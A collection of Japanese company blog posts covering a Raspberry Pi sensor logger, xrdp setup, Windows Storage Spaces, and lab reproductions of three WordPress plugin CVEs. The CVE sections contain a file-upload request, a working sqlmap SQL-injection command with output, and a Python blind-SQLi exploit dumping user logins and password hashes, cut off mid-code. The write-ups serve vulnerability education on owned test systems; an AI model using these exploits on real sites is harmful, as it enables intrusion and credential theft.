Armoris日記 ラズパイと BME280 で温度・湿度・気圧を測って グラフ化して表示する編 [その 1]

このブログは、N 高等学校と VRChat の世界からやってきた株式会社 Armoris アルバイトの Shadero が書いています。
あるもりすぶろぐの内容は個人の意見です。

こんなことがやりたい!

  1. 温度・湿度・気圧を計測する
  2. 計測した値を DB に保存する
  3. グラフ化して表示する

ブログでは、作業プロセスを段階的に記載します。
[その 1] では温度・湿度・気圧を計測しログに出力するところまでを行います。

完成写真

本記事に書かれている事を行うとこういったものが出来上がります。
(しばらく動かして問題なさそうだったら基板をユニバーサル基板に変えたい…)

環境

Type Name
Machine Raspberry Pi 3 Model B+
OS Raspbian 10 buster
Temperature, humidity & pressure sensor BME280

ラズパイはセットアップ済みの状態で進めます。

また BME280 は秋月電子で販売されているモジュールキットを使用しました。
同じセンサーを使用していてもモジュールキットの違いによって、微妙に仕様や各種ピン表記などが異なる場合があるため、他のモジュールキットを使用しラズパイと接続する際は、念の為取扱説明書を参照することをオススメします。

使用ソフトウェア

Name Version
Golang 1.15.7

ラズパイで IoT っぽいことをする記事を探すと Python を採用した文献が多くヒットしたため Python も検討したのですが、どうしても動的型付け言語を触りたくなかったので今回開発言語には Golang を選びました。

また、Golang のビルド環境はセットアップ済みの状態で進めます。
あくまでラズパイ側にビルドされた実行ファイルが存在していれば良いので、別 PC に Golang を導入し、そこでビルドした実行ファイルをラズパイに移す方式でも構いません。

制作手順

I2C 接続を有効にする

ラズパイと BME280 間の通信は I2C を使用するのですが、ラズパイのデフォルト設定で I2C 通信が無効になっているためraspi-configを開き有効にします。

  1. $ sudo raspi-config
  2. Interface Optionsと書かれた項目を選択
  3. I2Cと書かれた項目を選択
  4. I2C を有効にするためYesを選択

ラズパイと BME280 を接続する

本記事で使用している BME280 のモジュールキットの取扱説明書を参照し、J3 をジャンパ接続します。
(はんだ付けが下手すぎて若干基板を焦がしてしまった…。)

次に、各ピンを以下のピンに接続します。

BME280 Raspberry Pi 3 Model B+
VDD 3V3 P01
GND Ground P09
CSB (接続しない)
SDI GPIO2(SDA) P03
SDO Ground P09
SCK GPIO3(SCL) P05

接続を行ったら、i2cdetectを使用し確認します。

  1. $ sudo i2cdetect -y 1

上記の画像のようになっていたら成功です。
これは I2C 通信で使用されているアドレスを表示していて、今回は 76 に BME280 が割り当てられています。

BME280 のセンサーからの値をログに出力するソフトを作り実行する

綺麗と言えるコードではありませんがお許しください…。

  1. $ vi iot-sensor-logger.go
package main

import (
    "fmt"
    "time"

    "github.com/quhar/bme280"
    "golang.org/x/exp/io/i2c"
)

func initBme280() (*bme280.BME280, error) {
    d, err := i2c.Open(&i2c.Devfs{Dev: "/dev/i2c-1"}, 0x76) // 0x76は今回使用するBME280のI2Cアドレス
    if err != nil {
        return nil, err
    }

    b := bme280.New(d)
    err = b.Init()
    return b, err
}

func outputSensorValues(b *bme280.BME280) (err error) {
    t, p, h, err := b.EnvData()
    if err != nil {
        return
    }

    fmt.Printf("Temp: %.2fC, Hum: %.2f%%, Press: %.2fhpa\n", t, h, p)
    return
}

func main() {
    const outputIntervalSec = 5

    b, err := initBme280()
    if err != nil {
        panic(err)
    }
    ticker := time.NewTicker(outputIntervalSec * time.Second)
    defer ticker.Stop()
    for {
        select {
        case <-ticker.C:
            err = outputSensorValues(b)
            if err != nil {
                panic(err)
            }
        }
    }
}
  1. $ GOOS=linux && GOARCH=arm && GOARM=6
  2. $ go build ./iot-sensor-logger.go
  3. $ chmod 744 ./iot-sensor-logger
  4. $ ./iot-sensor-logger

$ GOOS=linux && GOARCH=arm && GOARM=6の箇所はビルドする際に、どのマシン向けにビルドするかを指定しています。
今回はラズパイ向けにビルドしたいので上記のように書いています。
これについて詳しく知りたい方は「Golangロスコンパイル」などで調べると良いかもしれません。

完成!

上記のコードをビルドし、ラズパイ上で実行すると 5 秒ごとに BME280 が計測した温度と湿度と気圧がログに出力されます…!

感想

センサー部分を気温が高い所に持っていくと出力される温度の値が上昇するのでとてもたのしい…()

次回はグラフ化する前準備として、計測した値を DB に保存するところまでを行う予定です…!

Armoris日記 Ubuntu xrdp編

このブログは、昨年3月まで黒魔術を研究していた?株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

実は簡単なxrdpの導入

今週のArmoris日記は「実は簡単にできるxrdp導入編」になります。

普段UbuntuSSH接続で利用している場合でも、リモートからGUI環境で使いたくなる時があると思います。
今回はそんなときに便利なxrdpを導入し接続するところまで紹介します。

前置き

簡単にxrdpについて紹介します。
xrdpとはLinuxMicrosoft Remote Desktop Protocolを使えるようにするものです。
Microsoft Remote Desktop Protocolが使えるということは一般的なRDPソフトから接続が可能というのも便利な点です。

xrdpでは以下の機能が提供されます。(公式サイトより)

  • 双方向のクリップボード転送
  • オーディオリダイレクト
  • ローカルドライブをリモートマシンにマウント

xrdp 公式サイト

xrdpインストール

今回の例でaptを使用してインストールするため以下のコマンドを実行するだけでインストールは完了です。

ubuntu@server:~$ sudo apt update
ubuntu@server:~$ sudo apt -y install xrdp

xrdpのユーザー設定を行います。
まずはRDPで利用したいユーザーでログインし、ログイン後に以下のスクリプトを実行します。
この設定はユーザー別に行う必要があります。

ubuntu@server:~$ cat user_setting.sh
cat < ~/.xsessionrc
export GNOME_SHELL_SESSION_MODE=ubuntu
export XDG_CURRENT_DESKTOP=ubuntu:GNOME
export XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share:/usr/share:/var/lib/snapd/desktop
export XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
EOF
ubuntu@server:~$ sh user_setting.sh

次にxrdpを実行するサーバーの設定を行います。
この設定も以下のスクリプトを実行することで完了します。これはサーバー上で一度実行すれば大丈夫です。

ubuntu@server:~$ cat system_setting.sh
sudo sed -e 's/^new_cursors=true/new_cursors=false/g' -i /etc/xrdp/xrdp.ini

cat << EOF | \
sudo tee /etc/polkit-1/localauthority/50-local.d/xrdp-color-manager.pkla
[Netowrkmanager]
Identity=unix-user:*
Action=org.freedesktop.color-manager.create-device
ResultAny=no
ResultInactive=no
ResultActive=yes
EOF
ubuntu@server:~$ sudo system_setting.sh

接続

今回はMicrosoft Remote Desktopを使用して接続します。
まずは上の+マークからAdd PCを選択し、PC name:の項目に接続したいサーバーのIPアドレスを入力してAddを押します。 f:id:Armoris:20210205185257p:plain

追加されたアイコンをダブルクリックしてしばらく待つと以下のようにユーザー名とパスワードの入力が求められます。 f:id:Armoris:20210205190112p:plain

ユーザー名とパスワードを入力し接続すると以下のようにxrdpのログイン画面が表示されます。 f:id:Armoris:20210205190638p:plain

ここで先ほどuser_setting.shを実行したユーザー名とパスワードを入力します。
認証に成功すると以下のようにUbuntuのログイン画面が表示されます。 f:id:Armoris:20210205190657p:plain

接続完了後は通常のUbuntuを使用するのと同じように使うことができます。

終わりに

今回は業務中にリモートからUbuntuGUIを使用したいという場面があり、その際に調べたところxrdpが容易に導入して使用することができたのでArmoris日記で取り上げました。

やはりGUIの方が簡単にできる操作もあるため、ぜひArmoris日記を参考にして手軽にUbuntuでRDP環境を構築してください。

最後にArmorisからのお知らせ
Armorisでは3月・4月・5月のDOJO Shot開催予定を掲載しています。
今年からはいくつか新しいトレーニングも追加されているためぜひ一度確認してみてください。

Armoris日記 CVE-2020-24186編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2020-24186の検証

今週のArmoris日記は現役高校生が書いているWindows10 記憶域プール編と検証の2本を公開しています。

検証には自身で管理する環境を使用し、自己責任でお願いします

今回の検証は以前のArmoris日記で検証したプラグインと同じものに存在する別の脆弱性です。

CVE-2020-24186は以前も検証を行ったWordPressのwpDiscuzというプラグインに存在する脆弱性です。この脆弱性プラグインのコメントへの画像添付機能でファイルタイプチェックに不備があったことにより任意のファイルがアップロード可能というものです。
以前と同様に脆弱性の悪用はプラグインをインストールした際のデフォルト設定の状態で可能です。

脆弱性情報:NVD
該当プラグインwpDiscuz

影響を受けるバージョン:wpDiscuz 7.0.0 - 7.0.4

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
wpDiscuz 7.0.4
WordPress 5.6

検証環境作成

まずはいつもの様にVagrantを使用してUbuntuServerとWordPressの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6525, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.185
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/CVE-2020-24186/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.185 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

以下をクリックすると普段Armoris日記で検証用に環境構築をする際使用しているymlファイルが表示されます。

次にプラグインのzipファイルをダウンロードして展開後ディレクトリに配置します。

$ wget wget https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
$ sudo unzip wpdiscuz.7.0.4.zip
$ sudo mv wpdiscuz /var/www/wordpress/wp-content/plugins/

WordPressをインストールウィザードに従ってセットアップし、プラグインを有効化します。
CVE-2020-24186はプラグインを有効にすることで脆弱性の再現が可能なため、検証環境の準備は完了です。

検証

現在Metasploitのペイロードも公開されている状態ですが、今回は手動でリクエストを送信して検証します。

URL先の情報を参考に以下のリクエストを作成し、送信します。
※以下のリクエストは一部削除を行なっています。

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 172.20.100.120:6525
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------343722729311970070443768062787
Content-Length: 751
Origin: http://172.20.100.120:6525
DNT: 1
Connection: close
Referer: http://172.20.100.120:6525/index.php/2021/01/15/hello-world/
Cookie:

-----------------------------343722729311970070443768062787
Content-Disposition: form-data; name="action"

wmuUploadFiles
-----------------------------343722729311970070443768062787
Content-Disposition: form-data; name="wmu_nonce"

dee5dc5b5f
-----------------------------343722729311970070443768062787
Content-Disposition: form-data; name="wmuAttachmentsData"

undefined
-----------------------------343722729311970070443768062787
Content-Disposition: form-data; name="wmu_files[0]"; filename="hack.php"



-----------------------------343722729311970070443768062787
Content-Disposition: form-data; name="postId"

1
-----------------------------343722729311970070443768062787--

実際にリクエスト送信後以下のようなURLにアクセスし、phpinfoが実行されていることを確認しました。
URL: http://172.20.100.120:6525/wp-content/uploads/2021/01/hack-1610937150.731.php

URLからもわかるようにファイル名にはUnixタイムスタンプの一部が含まれる数字が追加されています。
攻撃者がこの脆弱性を悪用しようとすると、アップロードディレクトリの権限設定が適切に行われていない状態でアップロードしたファイル名が確認できることが条件になると推測されます。
ある程度攻撃者がアップロードした時間からファイル名を推測することは可能なようですが、推測可能な部分以外はブルートフォースを行うことになると思われます。

終わりに

今回の検証はArmoris日記でも何度か取り上げているファイルタイプのチェックミスによる任意ファイルのアップロードというものですが、プラグインの実装上実際の攻撃に使用するのはあまり現実的では無いことがわかります。

このことからApacheなどで適切にディレクトリの閲覧設定がされているかや、ディレクトリ自体の権限の設定など自分でもできる対策で攻撃を防げる場合もあることがわかります。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 Windows 10 記憶域プール編

このブログは、N高等学校に潜んでいる株式会社Armorisのアルバイトが書いています。

あるもりすぶろぐの内容は個人の意見です。

今回のArmoris日記はWindows 10のRAIDである記憶域プールについて検証と解説を行います。

RAIDとは

RAIDとは、複数の物理ディスクを一個の論理ドライブとして扱い、データの冗長性を確保し安全性を高めたり高速化を目的とした技術です。 RAIDにはいくつかのモードがあり、モードによってデータの安全性、高速性など特徴が異なります。

f:id:Armoris:20210128163840p:plain

RAIDを実現するには、ハードウェアRAIDソフトウェアRAIDの2種類の方法があります。 ソフトウェアRAIDでは、OSなどのソフトウェアが、複数のディスクを管理しRAIDを構築します。 これに対してハードウェアRAIDでは、RAIDコントローラなど専用ハードウェアが、複数のディスクを管理しRAIDを構築します。

f:id:Armoris:20210128164744p:plain

ハードウェアRAIDソフトウェアRAIDは、いずれもメリット・デメリットがあります。

ハードウェアRAID ソフトウェアRAID
導入コスト
性能
復旧の容易さ
OS Disk

Windows 10の記憶域プール

今回の本題であるWindows 10の記憶域プールは、ソフトウェアRAIDに分類されます。Windows 8.x以降で提供されています。 他のソフトウェアRAIDと比べて柔軟性があり、サイズの異なるディスクの組み合わせで構築が可能となることや、RAIDを構築してるディスクを他のWIndowsマシンに搭載することでそのままRAIDが使えるなどの特徴があります。 Windows 10の記憶域プールでは以下の3つのモードが用意されています。

モード 類似するRAID 詳細
シンプルな記憶域プール RAID 0 パフォーマンスの向上を目的とした記憶域プールです。ドライブ障害発生に備えた冗長性確保はできません。構築には2つ以上のドライブが必要です。
ミラー記憶域プール RAID 1 冗長性の確保を目的とした記憶域プールです。複数のディスクにファイルをコピーすることで冗長性を確保し障害に備えます。双方向のミラーと3方向のミラーの2種類があり、双方向では2つのドライブにコピー、3方向では3つのドライブにコピーします。構築には双方向では2つ、3方向では3つ以上のドライブが必要になります。
パリティ記憶域プール RIAD 5 高い効率を目的とした記憶域プールです。パリティと呼ばれるデータを生成し複数のドライブに分散して保存することで高効率と冗長性を確保しています。構築には3つ以上のドライブが必要になります。

Windows 10の記憶域プールの構築方法

記憶域の管理から構築を行います。 1. 記憶域の管理から "新しい記憶域とプール" を作成をクリック

f:id:Armoris:20210128173628p:plain

  1. 記憶域プールで使用するディスクを選択し "プールの作成" をクリック

f:id:Armoris:20210128173647p:plain

  1. 記憶域プールの名前と使用したいドライブ文字を設定し、回復の種類で使用したいモードを選択する。設定したら "記憶域の作成" をクリック

f:id:Armoris:20210128173700p:plain

  1. 自動でフォーマットなどが行われ構築完了

f:id:Armoris:20210128173727p:plain

検証環境

PC1、PC2にそれぞれWindows 10 Pro 1903を導入した仮想環境を用いて検証を行います。 検証に用いる環境は以下の環境を用います。

Name Version
Debian 10
QEMU 3.1.0
virt-manager 2.0

VMの環境は以下になります。

Name Value
CPU 8 Core
Memory 8192 MiB
OS Disk 40GiB

また、 PC1に追加で20GiBのディスクを3つ接続しWindows10の記憶域プールでパリティ( RAID5 )を構築します。

検証内容

障害発生や復旧の際にありそうなシナリオを試してみました。

  • 環境移行1 PC1で記憶域プールを構成しているディスク3つをPC2に移行します。 移行するディスクはPC1と "同じ接続順" でPC2に接続しPC2で記憶域プールが問題なく移行出来るかを検証します。
  • 環境移行2 PC1で記憶域プールを構築しているディスク3つをPC2に移行します。 移行するディスクはPC1と "異なる接続順" で接続しPC2で記憶域プールが問題なく移行出来るかを検証します。
  • 記憶域プールに障害発生 記憶域プールを構築してるディスクの1つに障害を発生させ、普及までにかかる手順を確認します。

検証1

移行するディスクはPC1と "同じ接続順" でPC2に接続しPC2で記憶域プールが問題なく移行出来るかを検証します。

f:id:Armoris:20210128164921p:plain

手順

  1. PC1の記憶域プールに検証用のファイルとして"Test"と書かれたテキストファイルを設置する。
  2. PC1で記憶域プールを構築している仮想ディスク3つをPC2にPC1と同じ接続順で接続を行う。
  3. PC2で記憶域プールの設定画面を確認し問題なく記憶域プールが構築されていることの確認とPC1で設置した"Test"と書かれたテキストファイルが問題なく閲覧出来ることを確認する。

結果

問題なくPC1からPC2へ移行が完了しました。 特別な操作は一切必要なくディスクを接続するだけで記憶域プールとして認識されたため、ディスク側に構成情報が書き込まれていることが確認できました。

f:id:Armoris:20210128174610p:plain

検証2

移行するディスクはPC1と "異なる接続順" で接続しPC2で記憶域プールが問題なく移行出来るかを検証します。

f:id:Armoris:20210128165018p:plain

手順

  1. PC1の記憶域プールに検証用のファイルとして"Test"と書かれたテキストファイルを設置する。
  2. PC1で記憶域プールを構築している仮想ディスク3つをPC2にPC1と異なる接続順で接続を行う。
  3. PC2で記憶域プールの設定画面を確認し問題なく記憶域プールが構築されていることの確認とPC1で設置した"Test"と書かれたテキストファイルが問題なく閲覧出来ることを確認する。

結果

記憶域を構成しているディスクの順番が異なると記憶域プールが正常に構成できませんでした。 このことから環境には依存しないが接続順には依存すると思われます。

f:id:Armoris:20210128182458p:plain

検証3

記憶域プールを構築してるディスクの1つに障害を発生させ、普及までにかかる手順を確認します。

f:id:Armoris:20210128165114p:plain

手順

  1. PC1の記憶域プールに検証用のファイルとして"Test"と書かれたテキストファイルを設置する。
  2. 記憶域プールを構築しているディスクのうち1つの接続を解除し擬似的に記憶域プール環境に障害を発生した状況を作る。
  3. 記憶域プール修復用のディスク20GiBを用意し、PC1に接続し復旧を試みる
  4. 記憶域プールの設定画面を確認し問題なく記憶域プールが構築されていることの確認と記憶域プールに設置した"Test"と書かれたテキストファイルが問題なく閲覧出来ることを確認する。

結果

障害発生時は障害が発生しているドライブがエラーと表示されます。

f:id:Armoris:20210128183321p:plain

復旧には以下のような手順が必要となりました。

  1. "ドライブの追加" から修復用のドライブを追加します。

f:id:Armoris:20210128183600p:plain

  1. エラーの原因となっているドライブの "削除の準備" をクリックします。

f:id:Armoris:20210128183821p:plain

  1. 最後にエラーの原因となっているドライブの "取り出し" をクリックし修復完了です。

f:id:Armoris:20210128184012p:plain

記憶域プールに保存していたファイルも問題なく閲覧できることが確認できます。

f:id:Armoris:20210128184124p:plain

検証の結果、障害発生時は代わりとなるディスクを用意するだけで容易に修復が可能であることが確認できました。 また、障害発生中も記憶域自体は使用可能容量は減りますが通常通り使用できることが確認できました。

最後に

これらの検証から、Windowsの記憶域プールはディスクの接続順番のみ注意しておけば環境依存はなく簡単に移行でき、障害発生に関してもGUIで比較的容易に復旧できることが分かりました。 RAID機能を使うときはこのように移行や障害発生時の復旧手順など予め確認しておくことがデータの安全な保存ができることに繋がります。

ぜひ大切なデータの保管に役立ててください。

Armoris日記 CVE-2020-27615編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2020-27615の検証をやっていく

今週のArmoris日記はCVE-2020-27615の検証を行います。

検証には自身で管理する環境を使用し、自己責任でお願いします

CVE-2020-27615はWordPressのLoginizerプラグインに存在する脆弱性です。
このプラグインのデフォルト機能であるブルートフォース保護機能を悪用することでSQLインジェクションができるようになります。 この機能はプラグインをインストールした際にデフォルトで有効になっています。

脆弱性情報:WPScan
該当プラグインLoginizer

影響を受けるバージョン:Loginizer < 1.6.4

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
Ubuntu Server 20.04
WordPress 5.6
Loginizer 1.6.3
sqlmap 1.5.1.28#dev

検証

今回もまたAnssibleを使用してWordPressの環境を用意します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6547, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.145
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/CVE-2020-13640/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.145 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

以下をクリックすると普段検証用に環境構築をする際使用しているymlファイルが表示されます。

次にプラグインをダウンロードしてディレクトリに配置します。

$ wget https://downloads.wordpress.org/plugin/loginizer.1.6.3.zip
$ sudo unzip loginizer.1.6.3.zip
$ sudo mv loginizer /var/www/wordpress/wp-content/plugins/

WordPressをインストールし、プラグインを有効化します。
CVE-2020-27615はプラグインを有効化するだけで再現可能なためこれで検証環境の準備は完了です。

PoCを試す

今回は以下のsqlmapというPython製のツールを使用して検証を行います。

$ git clone https://github.com/sqlmapproject/sqlmap.git
$ cd sqlmap
$ python3 sqlmap.py                                                                                                                                                                                                    ___
       __H__
 ___ ___[(]_____ ___ ___  {1.5.1.28#dev}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

Usage: python3 sqlmap.py [options]

sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). Use -h for basic and -hh for advanced help

以下は実際にPoCを実行した際の様子です。

$ python3 sqlmap.py -u http://172.20.100.120:6547/wp-login.php --method='POST' --data='log=&pwd=password&wp-submit=Log+In&redirect_to=&testcookie=1' -p log --prefix="', ip = LEFT(UUID(), 8), url = ( TRUE " --suffix=") -- wpdeep
ly" --dbms mysql --technique=T --time-sec=1 --current-db --current-user                                                                                                                                                                                                                                       
        ___                                                                                                                                                                                                                                                                                                   
       __H__                                                                                                                                                                                                                                                                                                  
 ___ ___[.]_____ ___ ___  {1.5.1.28#dev}                                                                                                                                                                                                                                                                      
|_ -| . [.]     | .'| . |                                                                                                                                                                                                                                                                                     
|___|_  ["]_|_|_|__,|  _|                                                                                                                                                                                                                                                                                     
      |_|V...       |_|   http://sqlmap.org                                                                                                                                                                                                                                                                   
                                                                                                                                                                                                                                                                                                              
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program         
                                                                                                                                                                                                                                                                                                              
[*] starting @ 06:42:40 /2021-01-14/                                                                                                                                                                                                                                                                          
                                                                                                                                                                                                                                                                                                              
[06:42:41] [WARNING] provided value for parameter 'log' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly                                                                                                                                                      
[06:42:41] [INFO] testing connection to the target URL                                                                                                                                                                                                                                                        
you have not declared cookie(s), while server wants to set its own ('wordpress_test_cookie=WP+Cookie+check'). Do you want to use those [Y/n]           
                                                                                                                                                                                                                                                                                                              
[06:42:52] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS                                                
[06:42:52] [WARNING] heuristic (basic) test shows that POST parameter 'log' might not be injectable                                                                                                                                                                                                           
[06:42:52] [INFO] testing for SQL injection on POST parameter 'log'                                                                                                                                                                                                                                           
[06:42:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'                                                                                                                                                                                                                                
[06:42:52] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)                                                                                                                                                                                  
[06:42:56] [INFO] POST parameter 'log' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable                                   
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]                          
                                                                                                                                                       
[06:43:18] [INFO] checking if the injection point on POST parameter 'log' is a false positive                                                          
POST parameter 'log' is vulnerable. Do you want to keep testing the others (if any)? [y/N]                                                             
                                                                                                                                                       
sqlmap identified the following injection point(s) with a total of 38 HTTP(s) requests:
---                  
Parameter: log (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: log=', ip = LEFT(UUID(), 8), url = ( TRUE  AND (SELECT 8857 FROM (SELECT(SLEEP(1)))scyu)) -- wpdeeply&pwd=password&wp-submit=Log In&redirect_to=&testcookie=1
---
[06:45:04] [INFO] the back-end DBMS is MySQL
[06:45:04] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[06:45:04] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[06:45:05] [INFO] fetching current user
[06:45:05] [INFO] retrieved: wordpress@localhost
current user: 'wordpress@localhost'
[06:46:16] [INFO] fetching current database
[06:46:16] [INFO] retrieved: wordpress
current database: 'wordpress'
[06:46:50] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/172.20.100.120'

[*] ending @ 06:46:50 /2021-01-14/

実行結果を見るとWordPressが使用しているDBの情報やユーザー情報、データベースの名前までが表示されます。
攻撃者はこれらの情報をもとにさらなる攻撃を行うことができます。

最後に

今回取り上げたLoginizerプラグインは有効インストール数が100万を超えているため、今回の脆弱性の影響も大きいと予想されます。
今回のように規模が大きなプラグイン脆弱性が発見された場合比較的早急に修正されることが多いです。

ぜひ普段使っているアプリなどもこまめに更新を確認してみてください。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 CVE-2020-13640編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2020-13640の検証

今回のArmoris日記ではCVE-2020-13640の検証をやります。
CVE番号からもわかるように報告されたのは2020年になります。

検証には自身で管理する環境を使用し、自己責任でお願いします

CVE-2020-13640はWordPressのwpDiscuzというプラグインに存在する脆弱性です。
この脆弱性プラグインwpdLoadMoreCommentsにあるorderパラメータを利用して任意のSQLコマンドが実行できるというものです。
脆弱性の悪用はプラグインをインストールした際のデフォルト設定の状態で可能です。

脆弱性情報:NVD
該当プラグインwpDiscuz

影響を受けるバージョン:wpDiscuz <= 5.3.5

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
wpDiscuz 1.1.4
WordPress 5.6

検証

まずはいつもの様にVagrantを使用してUbuntuServerとWordPressの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6544, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.44
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/CVE-2020-13640/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.44 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

以下をクリックすると普段検証用に環境構築をする際使用しているymlファイルが表示されます。

次にプラグインをダウンロードしてディレクトリに配置します。

$ wget https://downloads.wordpress.org/plugin/wpdiscuz.5.3.5.zip
$ sudo unzip wpdiscuz.5.3.5.zip
$ sudo mv wpdiscuz /var/www/wordpress/wp-content/plugins/

WordPressをインストールし、プラグインを有効化します。
CVE-2020-13640はプラグインを有効化するだけで発生するためこれで検証環境の準備は完了です。

PoCを試す

準備ができたので実際にPoCを実行してみます。
今回は以下のPoCを使用します。

import sys
import requests
import binascii
try:
    import urlparse
except ImportError:
    import urllib.parse as urlparse

DEFAULT_AJAX_ENDPOINT = '/wp-admin/admin-ajax.php'
DEBUG = False

if len(sys.argv) < 3:
    print('Usage: %s TARGET_URL POST_ID' % sys.argv[0])
    print('TARGET_URL should either point to ajax endpoint or just to site (then default AJAX endpoint %r will be used)' % DEFAULT_AJAX_ENDPOINT)
    print('For example:')
    print('%s http://172.17.0.3 1' % sys.argv[0])
    print('%s http://test.com/wp-content/plugins/wpdiscuz/utils/ajax/wpdiscuz-ajax.php 11834' % sys.argv[0])
    exit(1)

target = sys.argv[1]
commend_id = int(sys.argv[2])

if not target.endswith('.php'):
    target = urlparse.urljoin(target, DEFAULT_AJAX_ENDPOINT)

def make_request_data(order):
    return {
        'action': 'wpdLoadMoreComments',
        'offset': '1',
        'orderBy': 'comment_date_gmt',
        'order': order,
        'lastParentId': '',
        'postId': str(commend_id)
    }

def oracle_check(check):
    request_data = make_request_data(
        ', (select case when (%s) then 1 else 1*(select table_name from information_schema.tables)end)=1 asc  #' % check
    )
    if DEBUG:
        print("REQUEST: %s %s" % (target, request_data))
    resp = requests.post(target, data=request_data, files={None:None})
    if DEBUG:
        print("RESPONSE: %d\n%s" % (resp.status_code, resp.content))
    return resp.json()['comment_list'] is not None

def binary_search(query, min_value=0, max_value=255):
    query = '(' + query + ')'
    while max_value - min_value > 1:
        value = (min_value + max_value) // 2
        if oracle_check(query + ' > ' + str(value)):
            min_value = value
        else:
            max_value = value
    if oracle_check(query + ' > ' + str(min_value)):
        return max_value
    return min_value

def get_fields(table_name, fields_list, where_clause=''):
    n_rows = binary_search(
        ("select count(*) from %s " % table_name) +
        where_clause
    )

    result = []

    for n in range(n_rows):
        row = []
        for field in fields_list:
            value_len = binary_search(
                ('select length(%s) from %s ' % (field, table_name)) +
                where_clause +
                (' LIMIT %d, 1' % n)
            )
            value = ''
            for char_idx in range(value_len):
                char_code = binary_search(
                    ('select ord(substring(%s, %d, 1)) from %s ' % (field, char_idx + 1, table_name)) +
                    where_clause +
                    (' LIMIT %d, 1' % n)
                )
                value += chr(char_code)
            row.append(value)
        print(' '.join(row))

print('Wordpress users')
get_fields('wp_users', [
    'user_login',
    'user_pass'#,
    #'user_activation_key'
])
print("DB tables")

BUILTIN_TABLES = [b'information_schema', b'sys', b'mysql', b'performance_schema']
NOT_BUILTIN_TABLE_CLAUSE = ' and '.join(
    'table_schema != 0x' + binascii.hexlify(t).decode('ascii')
